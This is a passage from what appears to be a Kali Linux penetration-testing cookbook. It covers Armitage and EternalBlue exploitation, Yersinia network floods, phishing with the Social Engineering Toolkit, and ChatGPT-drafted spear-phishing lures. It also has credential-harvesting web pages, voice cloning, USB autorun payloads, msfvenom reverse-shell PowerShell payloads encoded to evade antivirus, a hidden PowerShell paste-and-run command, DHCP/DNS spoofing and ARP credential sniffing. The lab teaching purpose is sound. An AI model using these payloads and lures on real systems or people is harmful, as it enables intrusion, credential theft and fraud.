ally, you can explore older archived tutorials at community sites such as [Link]
org/information-gathering/armitage. While the official Armitage site (fastandeasyhacking.
com) has gone offline for a bit, you can still find additional content on platforms such as GitHub
and YouTube.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a terminal window and ensure the Metasploit database is running, as follows:
sudo msfdb status
3. Next, we must change to the metasploit-framework directory and start the RPC server:
cd /usr/share/metasploit-framework
msfrpcd -p 55553 -U msf -P password -f -S
4. Start Armitage by opening a new terminal window and entering the following:
armitage
5. In the Armitage interface, you will note that none of your prior work has been drawn
into the tool. Start by creating a separate workspace in Armitage. From the top menu bar,
select Workspaces, then at the bottom, select Add, name the new workspace, and then
select Activate.
6. Now do a simple scan against your target network to populate your targets. From the top
menu, select Hosts | Nmap Scan | Quick Scan [OS detect]. In the dialog box, enter the
subnet of your target network; for this example, it is [Link]/24. Then, select OK.
278 Exploitation Unleashed: Finding the Hidden Flaws
Once the scan is complete, you will be presented with a visual representation of your
targets. This will include information on the type of operating system detected and the
IP addresses associated with those machines.
7. Now set your exploit rank. Select Armitage from the top menu, then select Set Exploit
Rank and then Poor. A dialog box will be shown saying the exploit rank has been updated.
Select Ok.
Tip
You can modify Exploit Rank as per your needs. In this example, because we
only performed a quick Nmap scan with operating system detection, we did
not provide Armitage with much information to select appropriate exploits
for our target. More rigorous scans will allow a better selection of exploits
and provide better analysis for Exploit Rank.
Chapter 7 279
8. Now analyze the computer for attacks. From the top menu, select Attacks and then Find
Attacks. A progress box will display. Let it run to completion. When the completion dialog
box pops up, click OK.
Tip
Notice the Hail Mary option in the Attacks menu. This will throw many
attacks at the target, hoping it can find a way in. This is extremely noisy and
will probably be noticed, so it’s not recommended for use.
9. Select a target and right-click. You will be presented with a menu that includes attack
options. Please spend a few minutes familiarizing yourself with these options.
How it works…
In this scenario, we created a workspace in Armitage, used Nmap to scan for targets, and found
potential exploits to use against those targets. We performed many of the same steps as in prior
recipes except in a graphical format.
280 Exploitation Unleashed: Finding the Hidden Flaws
Collaborative hacking
In this recipe, you’ll explore how Armitage enables multiple team members to coordinate and
collaborate during a pentest. Utilizing the team server will allow for real-time data sharing and
target views. With these collaboration features, your team can operate more efficiently, share
insights instantly, and prioritize vulnerabilities together.
Getting ready
You need the following to complete this recipe:
How to do it…
1. From a terminal window, ensure the Metasploit database is running. You can check this
with the following:
sudo msfdb status
3. Then, enter the team server command with the syntax sudo teamserver [ip address
to bind to] [password]:
4. Once started, note two important pieces of information: the login credentials that are
needed for remote users to connect and a fingerprint to validate that the users have con-
nected directly to teamserver.
Chapter 7 281
5. Either open a new terminal window or, if you have another machine that has Armitage on
it, you can start Armitage on that machine. For demonstration, I will open a new terminal
window and enter the following:
armitage
6. Once open, enter your credentials as previously displayed, and select Connect.
7. You will be presented with a dialog box displaying the fingerprint to compare to the server
to validate a direct and secure connection. If the fingerprints match, select Yes.
9. The Armitage interface will launch. At the bottom, the screen will show that you have
joined the session and are the only one present:
10. While we are here, let’s exploit a target machine. Set the Exploit Rank to Poor and rescan
the targets for an exploit (see the Visualizing the target recipe).
11. Select the Metasploitable3 Windows machine. Right-click and select Attack | smb |
ms17-010-eternalblue.
12. When the attack dialog opens, change the information as needed. Once again, I must
change my LHOST to the interface closest to the target network, [Link]/24. I can
set SMBUser and SMBPass to vagrant or try it without. Finally, select Launch.
13. Once launched, a new dialog box at the bottom will provide verbose details of the exploit
process and progress. Finally, you will note that your target machine image will change
to indicate your successful exploit, as shown in the following figure:
14. Now select the machine and right-click. A menu will prompt you with a Shell option, from
which you can select Meterpreter…:
15. This will open a window from which you can interact with the shell. Take a few minutes
to familiarize yourself again with the Meterpreter shell.
16. You may now close Armitage and close the teamserver.
284 Exploitation Unleashed: Finding the Hidden Flaws
How it works…
The teamserver is an advanced RPC daemon that allows multiple connections and the ability
to interact with the targets and exploited machines collaboratively. Multiple people can attack
different targets, work on various testing stages, or work collaboratively in the same shell.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Start by opening a terminal window and checking whether Yersinia is installed by en-
tering the following:
sudo apt list yersinia
You will see a listing of available options. Note specifically the graphical mode and the
interactive mode. We will be using the interactive mode for our examples.
Tip
Yersinia has a GUI; however, it’s not installed with Kali. Instructions to install
the GUI can be found here: [Link]
gui-not-working-on-kali-linux/ . Additional information can be
found at [Link]
BH_EU_05-Berrueta_Andres/BH_EU_05_Berrueta_Andres.pdf.
286 Exploitation Unleashed: Finding the Hidden Flaws
Tip
When Yersinia launches, it will tell you what interface it’s connected to. You
must ensure you are using the network connected to the host-only adapter.
In my case, Yersinia defaults to eth0, and my host-only adapter defaults
to eth1. If I don’t change this, I will launch an attack on my home network,
which will cause lots of problems.
5. In interactive mode, use the arrow keys and characters to move around. To open the help
screen, type h.
6. Browse the options for a minute. Ensure your proper interfaces are selected (as shown in
Figure 7.44) using the following:
<ESC>
i
7. To toggle the interfaces on and off, select the preferred option. In my case, I want to shut
off eth0 and turn on eth1:
8. The first exploit we will do is flood the bridge with topology change notifications. Flood-
ing Spanning Tree Topology Change Notifications (TCNs) can interrupt layer 2 switch
functionality:
You will see the packets increasing rapidly, flooding the switches in the layer 2 domain.
This flood of traffic can cause the switch to act irregularly, possibly blocking ports on this
and other switches in the network and affecting network communication.
10. Now let’s perform a DHCP flood attack. This is useful if you want to exhaust the address
pool of a DHCP server. You could then add your DHCP server to the network, specifying
your parameters. To change to a different protocol, enter the following:
g
12. Begin the exploit (as shown in Figure 7.48) using the following:
x
1
Within just a few seconds, your DHCP server will have exhausted all of its IP addresses.
290 Exploitation Unleashed: Finding the Hidden Flaws
How it works…
Yersinia is a specialized security testing tool focusing on layer 2 network protocols. It sends spe-
cifically crafted packets or protocol messages that can manipulate or disrupt normal network
operations, effectively tricking switches, routers, or other network devices into altered states.
See also…
More information about Yersinia can be found at [Link] and
[Link]
EU_05_Berrueta_Andres.pdf.
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require an invoice.
8
Human Hacking: The Art of
Social Engineering
In this chapter, you will explore the psychological and technical methods that pen testers use to
manipulate individuals and gain unauthorized access. While many security measures focus on
firewalls, antivirus software, and intrusion detection systems, attackers often discover that the
weakest link in any environment is human error.
You will begin by looking at phishing attacks, spear phishing, and the next generation of these
threats, which leverage AI-enhanced intelligence gathering to focus your efforts. Modern tools and
technology have enabled attackers to automate and personalize messages at an unprecedented
scale, as illustrated by recipes on using AI large language models (LLMs) and automated spear
phishing. Additionally, you will learn how to integrate chatbot systems to augment social engi-
neering campaigns, making interactions seem more authentic and personalized.
Beyond email and chat-based deception, you will also learn techniques such as voice and speech
synthesis, which can replicate a target’s voice to lend credibility to fraudulent phone calls, and
full-screen attacks designed to trick users into providing login credentials. You will also gain
insight into how attackers create site clones and employ methods such as DHCP spoofing and
DNS spoofing to redirect targets to malicious domains.
Technical requirements
All the recipes in this chapter can be conducted within the VirtualBox environment and originate
from the Kali VM. Furthermore, you will need to access some resources on the web. As we will be
using email with malicious added payloads, it will be important for you to have access to a very
permissive email server, both for sending and receiving emails. For testing purposes, I run a sep-
arate email server locally off a subdomain. This server has no access to the internet and provides
client-side connectivity for testing the message receipt. If you would like to begin by creating a
simple testing environment, I would suggest trying MailHog, located at [Link]
mailhog. It is very basic and simple to set up and should be sufficient for the requirements of this
book. If you do not have access to such capabilities, one recommendation would be to manually
copy the file from Kali to the target to test the payloads.
Getting ready
You need your Kali Linux VM up and operational to complete this recipe.
How to do it…
1. Open a terminal window.
Create an email address list. This list only requires one entry. I am going to add three for
testing purposes:
nano ~/cookbook_emails.txt
2. Enter your email addresses, and when ready, press CTRL + X followed by Y to save.
Tip
I have provided the full email address for this example, but cleared the do-
main names for privacy. I am using a special domain for catching all asso-
ciated emails and forwarding them to me.
3. In the terminal window, enter the following to start the Social Engineering Toolkit (SET):
sudo setoolkit
11. For testing, I am going to use a Gmail account. Select 1. Use a gmail Account for your
email attack. You can create a Gmail account if you want to, or if you have an SMTP open
relay or your own server, then make the necessary selection.
Chapter 8 295
Tip
If you choose to use Gmail, you will need to create an application password.
Your login password will not work. Instructions can be found here: https://
[Link]/accounts/answer/185833?hl=en.
Tip
Note
As you can see in Figure 8.4, I had an extra character return in my email list file
we created, which is why it shows trying to send four emails and one failing.
How it works…
The SET used the provided email address list as a source for your phishing campaign. You further
selected a default template for your campaign. You would typically build your own templates
for better spam filter avoidance. The toolkit then used a Gmail account to facilitate the sending
of the emails.
See also…
For the full document on how to use SET, visit the SET user manual at [Link]
trustedsec/social-engineer-toolkit/tree/master/readme.
Getting ready
You need a web browser to complete this recipe.
How to do it…
1. Open your web browser.
2. Navigate to [Link].
Tip
While you do not need to log in, the number of queries will be very limited
unless you do. A free account will let you interact more with ChatGPT and
get into deeper prompts and responses. I will be logged in with an account
– you will be limited in this recipe without one.
3. In the ChatGPT prompt area, enter your prompt. Here is the example prompt I entered:
I am researching [Link]. Can you provide me a list of the
executive leadership team?
4. Enter the following to continue refining your search and obtaining additional information:
Please provide a list of the members of the board of directors.
5. Now, try a request that will be more limited due to the guardrails that AI put up to prevent
malicious intent:
Can you provide me the contact information for any of the
individuals
Chapter 8 299
6. Try another request that will trigger an acceptable use policy to understand the limits of
ChatGPT’s information:
Can you provide me the personal details for the individuals,
including home address, phone numbers, and e-mail addresses.
8. Now, try getting some other information about the individual of interest that could help
with your social engineering strategy:
Could you please provide a list of any articles or videos featuring
Jeff Bezos
300 Human Hacking: The Art of Social Engineering
Tip
By creating an account, you can maintain this research and continue to revise
it, requesting additional information at any point in the future.
How it works…
In this recipe, you used ChatGPT as a shortcut to information gathering. You should repeat this
recipe with other major AI models available to you to learn their capabilities. You will observe
that it will not provide information about contact information outside of the basic corporate
published information.
See also…
Read the following article about AI research assistants: [Link]
your-research-productivity-with-your-ai-research-assistant/.
Getting ready
You need a web browser to complete this recipe.
Chapter 8 301
How to do it…
1. Open your web browser.
2. Navigate to [Link].
3. One of the best uses for LLMs is to translate a document into another language if you are
not fluent in that language. In this example, you are going to start a new chat and ask it
to translate a message. You will be using the message in the previous recipe. In ChatGPT,
start a new conversation and enter the following:
Can you translate the following e-mail into Spanish;
Order Confirmation
Hello,
Attached you will find your receipt for the order that you placed.
Please be aware that it may take 2-3 business days for items to be
shipped.
It has been a pleasure to have your business.
Thank you
Jim Woznaky
4. Translation is an important task if you are trying to phish someone in a language you do
not know. It can also be used if you know a language but are not proficient or need to use
local dialects. Now, let’s ask it to also translate the message into Chinese. However, there
are multiple dialects, so we will ask it to provide both Mandarin and Cantonese. In the
chat box, enter the following:
Can you also translate this message into Chinese, both Mandarin and
Cantonese?
5. Another use for ChatGPT for this example is to draft a spear phishing message. Assume
that you have a target, John Doe, and you know he has an affinity for mentoring early-ca-
reer individuals involved in electrical engineering. In ChatGPT, start a new chat with the
following message:
Can you write an email for me to John Doe? John Doe is very involved
with mentoring early in career folks in the arena of electrical
engineering. I will be graduating in May of 2025 from CalTech,
magna cum laude, and I was hoping he would be interested in having
a conversation with me. I will be including my resume, which talks
about all my college activities and relevant career information. I
am hoping to make this persuasive enough to get a response.
We are provided with an email that we can use in our phishing attacks. The goal of this
message would be to get the target to open the resume, which would contain a payload
for malware:
This message can now be used to attempt to get the target to open our malicious attachment.
How it works…
LLMs work based on a prompt or query. The better the prompt, the better the output. As you saw
in the recipe, even with very limited information, a compelling email was created. These emails
can be created in different languages based on who you are targeting, and AI does a very good
job with both translation and dialects. These can then be used to create templates or for social
engineering attacks in Kali Linux.
See also…
This is an interesting article that discusses the higher success rate of phishing attacks based on
the use of LLMs: [Link]
phishing-fools-more-than-50-of-targets.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a terminal window.
2. Start the Metasploit database using the following:
sudo msfdb start
10. Enter the proper LHOST IP address. This should be the IP address of your Kali machine
that connects to the same network as your Windows Metasploitable PC. This is so the
malicious software can call back to the attacking machine.
11. Enter the port on the attacking machine that the malicious code will connect to:
9443
18. Enter the body of the message using the previous recipe’s contents from step 5 and press
CTRL+C when done.
19. In Send E-Mail to:, enter your test email address.
20. Select 2. Use your own server or open relay.
Tip
A Gmail address will not work, as it will catch the malicious payload.
25. When prompted, start a listener that the exploit will connect to by entering yes:
26. On the Metasploit Windows PC, open your email client and click on the document in the
email you just sent to download it to your desktop:
27. Open the email and double-click on the [Link] file to launch the malware.
28. Note the connection on the Kali Linux PC. This connection will allow you to perform
advanced exploits on the host and perform malicious actions:
29. You may now close the session and exit the SET.
Chapter 8 307
How it works…
In this recipe, you drafted an email that was custom-created to increase the likelihood of the target
individual reading and clicking on the attachment. While an attacker would never be so overt as
to send an .exe file for a demonstration purpose, it is easy to use as an example. The SET works
in cooperation with Metasploit to auto-launch a listener to connect to, giving us access to begin
our exploit activities, as you saw in the example.
See also…
You can review the SET documentation at [Link]
toolkit/raw/master/readme/User_Manual.pdf.
Getting ready
You need your Kali Linux VM up and operational to complete this recipe.
How to do it…
1. Open a terminal window.
2. Templates are stored in the set directory at /usr/share/set/src/templates. Change to
that directory and list the files using the following:
cd /usr/share/set/src/templates
ls -lai
308 Human Hacking: The Art of Social Engineering
Tip
Notice the various names, including just the numerically named templates.
When these are used from the menu in the toolkit, the name will be based
on the subject.
The --softwrap option turns on word wrapping, which will assist in the editing of this file.
4. In nano, add a header with any pertinent information for the template:
# Request for Mentorship Template
# Created using ChatGPT 3/2025
#
This will be what’s also displayed when selecting the template in the SET.
Chapter 8 309
Tip
A line break is denoted with \n. If you want a space between sections, you
use two line breaks with \n\n.
310 Human Hacking: The Art of Social Engineering
Tip
9. Check the resulting email in your inbox, and you will notice the subject line you provided.
Chapter 8 311
10. Lastly, you can review the body of the message you provided:
How it works…
By adding a properly formatted file in the template directory, you created a customized template
that can be used repeatedly.
See also…
You can review the SET documentation at [Link]
toolkit/raw/master/readme/User_Manual.pdf.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a terminal window.
2. Ensure that the following required packages are installed. These packages represent the
basic building blocks of Python:
sudo apt update
sudo apt install python3 python3-pip python3-flask
#!/usr/bin/env python3
app = Flask(__name__)
app.secret_key = [Link](16) # key for session management
Tip
Now, you may be wondering how I came up with this code. Well, I did not.
I simply told ChatGPT what I wanted, and it provided the code. I had to do
a little bit of tweaking, but for the most part, it was exactly what I asked for.
Further, it will tell you about any needed dependencies and how to install
them.
6. Start the bot as follows. This creates a website on port 8080 from which your bot will be
accessible:
./[Link]
8. Open your web browser and navigate to the address listed in the output on your screen.
Enter a package ID and click Submit.
9. After you enter your package ID, you can be prompted to enter a username and password
and click Submit. Tracking sites often require you to log in:
11. Go back to the terminal window and press Ctrl + C to kill the bot.
If you list the directory, you will see a new file called [Link]:
12. View the contents of the file using the following, and you will see a comma-delimited text
file that includes the information entered into the bot, as shown in the figure that follows:
less [Link]
How it works…
We created a simple bot that gathers information from a user. In this case, we were trying to fool
a user into providing their username and password. If the interface were improved to appear to
be a shipping company or a large retailer and combined with a phishing attack, you may be able
to gather the credentials for users of that organization.
See also…
For more information on how bots and forms are used, visit [Link]
hackers-use-google-forms-and-telegram-bots-to-collect-phished-credentials/.
316 Human Hacking: The Art of Social Engineering
Getting ready
You need a web browser to complete this recipe. You may want to do this on your everyday com-
puter as opposed to Kali for easy access to the microphone and speakers.
How to do it…
1. From your web browser, navigate to [Link] and create an account.
2. Once your account is confirmed, log in to [Link] and skip all prompts
until you are at the main interface.
3. On the main interface, select create a voice:
Next, you will record a sample of your voice. You can also upload a recording using the
upload option.
5. Press the red record button and answer the question, speaking clearly and continuously
for 20 seconds. Once you are done, click Next.
6. Let the voice clone process complete. You can now preview your voice clone.
Chapter 8 317
Note
For this example, we are not going to be signing up for an account. This was
to show you how technology exists that can clone your voice (or others’).
This is just one tool; there are many tools out there that will let you perform
similar functions.
7. Let’s assume we have cloned a voice from a consenting individual for testing purposes.
From the left-hand side menu, select Text-to-Speech:
8. Select the voice based on your preference for the example. Enter what you would like the
system to generate for a talk track.
In this example, I will select Robert and enter the text as follows:
Hi Jane,
Tip
Note that I had to spell out the email address, or it would not work properly.
This is an area to work with to ensure it sounds conversational and not like
a computer.
9. Play the voice and check whether you want to alter the voice settings so it sounds more
natural. One area I had to change was the pace; you may need to alter that to make it
sound more realistic.
Chapter 8 319
How it works…
Suppose an attacker clones a voice from an audio recording of a target. This could be from a talk,
an interview, an analyst call, or another format. They can then create a script to instruct a sub-
ordinate to do a task. Combine this with a sense of urgency and immediacy, and someone may
miss the subtle clues of an AI-generated voice.
See also…
Here is an interesting article on AI voice cloning attacks: [Link]
topics/threat-intelligence/ai-powered-voice-spoofing-vishing-attacks.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a terminal window.
2. Ensure that the following required packages are installed:
sudo apt update
sudo apt install python3 python3-pip python3-flask
3. Now, create your full-screen page. A full-screen attack will take up the entire screen and
expand the window – this adds a sense of urgency and priority to the page:
cd ~
sudo nano [Link]
app = Flask(__name__)
app.secret_key = [Link](16)
HTML_PAGE = """
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Full Screen Attack Demo</title>
Chapter 8 321
Note
8. Open your web browser and navigate to the address listed in the output on the screen.
You will be presented with an intro page in your web browser:
You will notice that your web browser goes into full-screen mode, and you are presented
with a request for a username and password.
10. You can press Esc and close the web browser.
11. Going back to the Terminal window, you can exit the bot by pressing Ctrl + C.
322 Human Hacking: The Art of Social Engineering
12. Listing your current directory, you will see a new file called fullscreen_creds.txt. Type
the following to examine it and see results as shown in Figure 8.31:
less fullscreen_creds.txt
How it works…
In this case, we used a page that opens a full-screen login page on a web browser. With a bit of
work, this could be modified to easily resemble an official login page. It will capture the credentials
in a file. This could be very advantageous in phishing, where an attacker can have people click on
a link and enter their credentials.
See also…
More information on full-screen attacks can be obtained at [Link]
com/2023/09/12/attack-techniques-fullscreen-abuse/.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a Terminal window.
2. Start the SET:
sudo setoolkit
7. Enter the IP address of your Kali machine that is reachable by the victim’s VM:
8. You will be asked to enter a website for cloning – choose a site based on the attack strategy
you have planned.
Tip
11. Enter some information into the form and click SUBMIT. This example uses Jane for the
first name, Doe for the last name, and jdoe@[Link] for the email address.
Note
You will notice that there is no indication of your entries or any changes
on the site.
12. Go back to your terminal window and review the output; you will notice that you have
captured the data entered on the cloned site:
How it works…
The SET cloned a website or a page of a website that contained a form-type field. It replaced the
logic of the form to capture the information entered by anyone accessing the page and provided
both an immediate indication of captured information as well as a detailed report that can be
accessed at a later time for unattended use.
See also…
You can review the SET documentation at [Link]
toolkit/raw/master/readme/User_Manual.pdf.
Generating QR codes
In this recipe, you will explore how QR codes can be used to easily manipulate unsuspecting
users to visit harmful sites or download harmful files. The use of QR codes is a common tactic
that can be used with a variety of formats, including flyers, faxes, emails, and stickers, to cover
over legitimate QR codes.
How to do it…
1. Open a terminal window.
2. Start the SET:
sudo setoolkit
In this case, I am using the same sample site I used for the previous recipe. This is already
set to log all entries: [Link]
6. Record the location of the QR code file that is generated, as shown in the output:
7. To exit SET, enter 99 and press Enter repeatedly until you return to the shell
8. Move the file to someplace a bit easier to access. In our example, we will move it to the
user’s Downloads directory:
sudo mv /root/.set/reports/qrcode_attack.png ~/Downloads/.
9. Open the file location on your computer by browsing to it and double-clicking it. It will
display the QR code you generated.
10. Click on your QR code; the preceding one will bring you to my sample site.
11. You may now close the terminal window.
How it works…
This process simply creates a QR code from a URL. This can be used alongside many of the tech-
niques that we have already explored, and some that we will explore later. For instance, using
this with site cloning is a great way to steal information and credentials.
See also…
For an interesting discussion on the QR code attack vector, visit [Link]
com/malicious_qr_codes/.
328 Human Hacking: The Art of Social Engineering
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a terminal window.
2. Start the SET:
sudo setoolkit
Note
11. Now, you can move this file to your Metasploitable PC – use whatever method is easiest
for you.
12. Navigate to the file and double-click on it to execute.
13. Review that a connection was created back to the Kali machine, giving you access and
control.
14. You may now exit the connector and close the SET.
15. There are many ways to increase the effectiveness of this attack method. One way is to
use an [Link] file to try launching the exploit immediately. Insert your USB drive.
You may need to make changes in VirtualBox by assigning the USB drive to the VM.
16. In a terminal window on Kali, enter the following. This will move the payload to the USB
drive and will try and set it to autorun. We will also give the payload an enticing name
that might work as bait to get a user to click on it:
sudo chown kali [Link]
sudo chgrp kali [Link]
cp ~/[Link] <USB DRIVE ROOT>/[Link]
cp ~/[Link] <USB DRIVE ROOT>/[Link]
chmod 711 <USB DRIVE ROOT>/[Link]
cat > ~/[Link] <<EOF
[autorun]
open=[Link]
EOF
chmod 777 ~/[Link]
mv ~/[Link] <USB DRIVE ROOT>/[Link]
330 Human Hacking: The Art of Social Engineering
Tip
For computers that have autorun enabled, they look for the [Link]
file on the root of the removable media and will open the files based on its
contents. In this case, the payload executable file will be run automatically.
How it works…
It is still incredibly effective to drop USB drives in strategic locations. They will often gain the in-
terest of unsuspecting targets. In this case, we created a payload that, when launched, will connect
back to our host machine. We further showed how to place the file on a USB drive and how to use
the [Link] file to attempt to automatically launch the file when inserted into a victim’s PC.
See also…
An interesting article on the effectiveness of this method is located at [Link]
com/2011/06/the-dropped-drive-hack/.
Getting ready
You need the Kali Linux VM up and operational to complete this recipe.
Chapter 8 331
How to do it…
1. Open a terminal window.
2. Run the following command:
ulimit -n 10000
urlcrazy [Link]
At the time of the writing of this book, there was an error in one of the files. If you receive
the error message in Figure 8.39, then please follow Steps 3–7; otherwise, move to Step 8:
4. The file will be opened – scan for two entries labeled [Link]?:
8. After a few minutes, you will receive some output to scroll through. The output contains
sample domain names and whether the domain is available:
9. There is a tremendous amount of information provided. Let’s make some other modifi-
cations to trim it down:
urlcrazy -o ~/example_com.txt [Link]
11. Let’s create a CSV file so we can potentially automate it in the future:
urlcrazy -f csv -o ~/example_com.csv [Link]
12. You can review the CSV output with the following:
less ~/example_com.csv
Run a few examples with some domains of your choice. What you will often find is that large
companies tend to register some of these domains to lessen their exposure to this type of attack.
How it works…
urlcrazy runs through a series of manipulations and checks those against DNS to see whether
they are alive and responsive. This provides you with options to register these domains and use
them in your social engineering attacks.
See also…
More information on urlcrazy is available on its GitHub page at [Link]
urbanadventurer/urlcrazy.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a terminal window and create your first PowerShell script using msfvenom. The
following command will create a simple PowerShell script that can be run on a Windows
machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<KALI IP> LPORT=9443 -f psh -o ~/payload.ps1
Note
3. To try and avoid our script from being picked up by antivirus software, we will encode
the payload multiple times in an attempt to obfuscate its true actions. However, most
antivirus systems will typically block any unsigned executable file:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<KALI IP> LPORT=9443 -e x64/xor_dynamic \
-i 7 -f psh -o ~/obfuscated.ps1
4. Lastly, let’s try and create a script for copy and paste attacks (as shown in Figure 8.44):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<KALI IP> LPORT=9443 -f psh
5. You can copy the code output from step 4 and add it to the following command:
[Link] -nop -w hidden -c "<PASTE CODE>"
Tip
We have seen a new vector of this attack as part of a fake CAPTCHA where
the attacker tells the user to press a button that copies the command and
code, and then they are told to hit the Windows key + R, Ctrl + V, and Enter.
This opens a run dialog, pastes the contents of the clipboard, and executes it.
336 Human Hacking: The Art of Social Engineering
6. To test the various payloads you created, move them to your Metasploitable Windows
machine and start the listener on Kali by entering the following:
sudo msfdb run
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <KALI IP>
set LPORT 9443
exploit -j
7. Move the files you created and test the different payloads.
Tip
How it works…
In this recipe, we used msfvenom to generate PowerShell-based payloads designed to create a
reverse connection from the victim’s Windows machine back to our Kali system. These payloads
included a .ps1 script, an executable version, and an obfuscated script using multiple encoding
layers to help evade antivirus detection. We also explored a copy-paste style attack that tricks
the user into manually executing the payload using the Windows Run dialog. Once the payload is
executed, the Metasploit listener on Kali receives the connection, giving us control of the target
system through a Meterpreter session.
See also…
For more information on msfvenom, check out this web page: [Link]
metasploit-framework/docs/using-metasploit/basics/[Link].
Spoofing DHCP
In this recipe, we explain DHCP spoofing, an attack that subverts the Dynamic Host Configura-
tion Protocol (DHCP) to reroute network traffic and facilitate man-in-the-middle exploits. By
spoofing DHCP, you will redirect client traffic from the Ubuntu Metasploitable machine to your
Kali VM, which will allow you to access their data stream.
Chapter 8 337
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a terminal window.
2. Launch Yersinia:
sudo yersinia -I
3. Select the host-only interface (in my case, eth1) and type the following as needed:
• i (to go to interfaces)
• a (to shut off eth0)
• b (to turn on eth1)
• q (to exit)
• Server ID
• Start IP
• End IP
• Lease Time (secs)
• Renew Time (secs)
• Subnet Mask
338 Human Hacking: The Art of Social Engineering
• Router
• DNS Server
• Domain
Tip
It’s important to use leading zeros and populate the fields properly and
completely.
Note
Note that this IP address is outside the range you have provided in the exploit.
10. To simulate a new computer coming online or a computer trying to renew its IP address,
we will manually release and renew the IP address with the following command:
sudo dhclient -r && sudo dhclient eth0
11. Use the ifconfig command to see whether your IP address has changed.
You may need to run the command several times to gain a possible change. It’s also pos-
sible that no matter how much you test, you will not see the change. This is due to the
fact that the DHCP process is part of the underlying hypervisor and can respond to DHCP
requests so much quicker than an external server can.
12. If you are having an issue seeing a change in the IP address, we can simulate this by
disabling the DHCP server in the hypervisor. To begin this process, shut both VMs down.
13. Open the VirtualBox manager and select File | Tools | Network Manager.
14. From the next screen, select Host-Only Networks | Properties | VirtualBox Host-Only
Ethernet Adapter | DHCP Server. Unselect Enable Server, and click on Apply.
15. Restart both VMs and start the exploit again.
16. Now, we will retest on the Ubuntu Metasploitable machine. In the terminal window, enter
the command again:
sudo dhclient -v -r && sudo dhclient -v eth0
You may need to reboot the Ubuntu VM for the change to take effect.
17. You will now see a different IP address that corresponds to the range you provided in the
exploit.
How it works…
DHCP is used to provide IP information on networks. Most networks will use a DHCP server to
configure client devices. When a DHCP client first boots up, it sends out a discovery packet to
obtain an IP address. Any DHCP server will respond to this request with their scope information.
It’s a race as the first device packet received by the client is the one used. This could potentially
lead to a client using an exploited DHCP client or even to route all its traffic through a particular
device for further exploitation.
340 Human Hacking: The Art of Social Engineering
There’s more…
One way to force a device, such as a client computer, to use the IP address provided by your DHCP
spoof exploit would be to exhaust the real DHCP server of all its IP addresses. Kali provides a tool
for this called dhcpig. Take a look at it here: [Link]
Spoofing DNS
In this recipe, we investigate DNS spoofing, a method attackers use to alter DNS records and re-
direct users to malicious sites. We will use dnschef to perform the spoofing attacks. This will tie
back into the previous recipe on DHCP spoofing, since it provides the best method for inserting
DNS as part of an attack.
Getting ready
You need the Kali Linux VM up and operational to complete this recipe.
How to do it…
1. Open a terminal window.
2. From this window, we will use nslookup to resolve some domain names to IP addresses:
nslookup [Link]
An option that I normally use is interface <INTERFACE>, which allows me to specify what
interface I want the service bound to. Often, this may be a wireless interface:
7. Let’s check the results by opening a second terminal window and entering the following
commands:
nslookup
server [Link]
8. Enter the following and compare the IP address returned to our previous nslookup op-
erations:
[Link]
How it works…
dnschef starts a rudimentary DNS server that will respond to queries based on the domains
and IP addresses entered. It will forward and proxy any domain requests that were not specified.
This tool works best with DHCP spoofing, where you can include your attacker’s IP address in
the DHCP reply.
There’s more…
More information on dnschef can be found at [Link] Another
common DNS spoofing tool is bettercap. This is popular because of its ability to simultaneously
perform ARP spoofing, which is needed in an environment where you cannot replace the DNS
server through DHCP. Information on bettercap can be found at [Link]
bettercap/. bettercap can be challenging to get working in a virtual environment, but is easily
tested on a physical network.
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require an invoice.
9
Breaking Barriers: the Secrets
of Password Cracking
In this chapter, you will learn how attackers compromise user credentials across various operating
systems and services. You will see how passwords and other authentication mechanisms can be
subverted through network interception, extraction of stored hashes, and systematic brute-force
attempts. By walking through each approach, you’ll gain insight into the practical steps adver-
saries follow to break into local systems, remote hosts, and entire domains.
We will dive into a broad range of techniques, from leveraging password lists to crafting powerful
mutation strategies and exploiting everyday habits such as password reuse. Whether the focus
is on cracking archived files, intercepting network traffic, or performing shoulder-surfing in
physical environments, this chapter emphasizes the methods and tools necessary to successfully
compromise login credentials.
Technical requirements
We will be using a variety of different victim machines in our lab environment during this chapter.
Getting ready…
You need the following to complete this recipe:
How to do it…
1. Start by identifying the IP addresses of your Metasploitable Windows VM and your host
machine where VirtualBox is running. There will be multiple IP addresses; you are looking
for the IP addresses associated with the host-only network. Here is the information for
my network:
4. Check to see which interface is tied to the host-only network (look for the one with the
same subnet) using the following:
5. Launch Ettercap with an ARP attack to redirect traffic toward our Kali VM using the fol-
lowing, with the first IP address being the gateway and the second IP address indicating
the target VM.
sudo ettercap -Tq -i eth1 -M arp:remote /[Link]//
/[Link]//
6. Move to your Windows host machine, open a terminal window, and enter the following
command to create an FTP connection to the remote computer:
ftp [Link]
7. Return to the Kali Linux VM terminal window and observe the output, which provides
the username and password that were used to connect to the remote computer.
8. As you can see, we captured the username and password for the user.
Tip
How it works…
It’s important to understand the importance of the ARP capabilities that are going on in this ex-
ample. By manipulating the ARP table, we are effectively redirecting communications between
the two devices (the host machine and the Metasploitable Ubuntu VM) via the Kali Linux box.
Without this manipulation, we would not be able to see the captured credentials. Ettercap looks
for a variety of clear-text passwords in communications between the two hosts and indicates
them in the output.
See also…
Ettercap has a multitude of tools included with it. It’s a very powerful tool in the Kali arsenal. To
get more information, check out their site at [Link]
Chapter 9 349
Getting ready…
You need the following to complete this recipe:
How to do it…
1. With the Windows machine powered down. Start it and immediately begin hitting the F8
key to be provided with the advanced boot options. If you don’t catch it initially, restart
the machine and try again. If successful, you will see the following screen:
Tip
If you did not have a username and password, you could have booted from
a Kali thumb drive and mounted the Windows drive.
6. Once in the command prompt, enter the following commands to copy the password
databases to a new directory called hash:
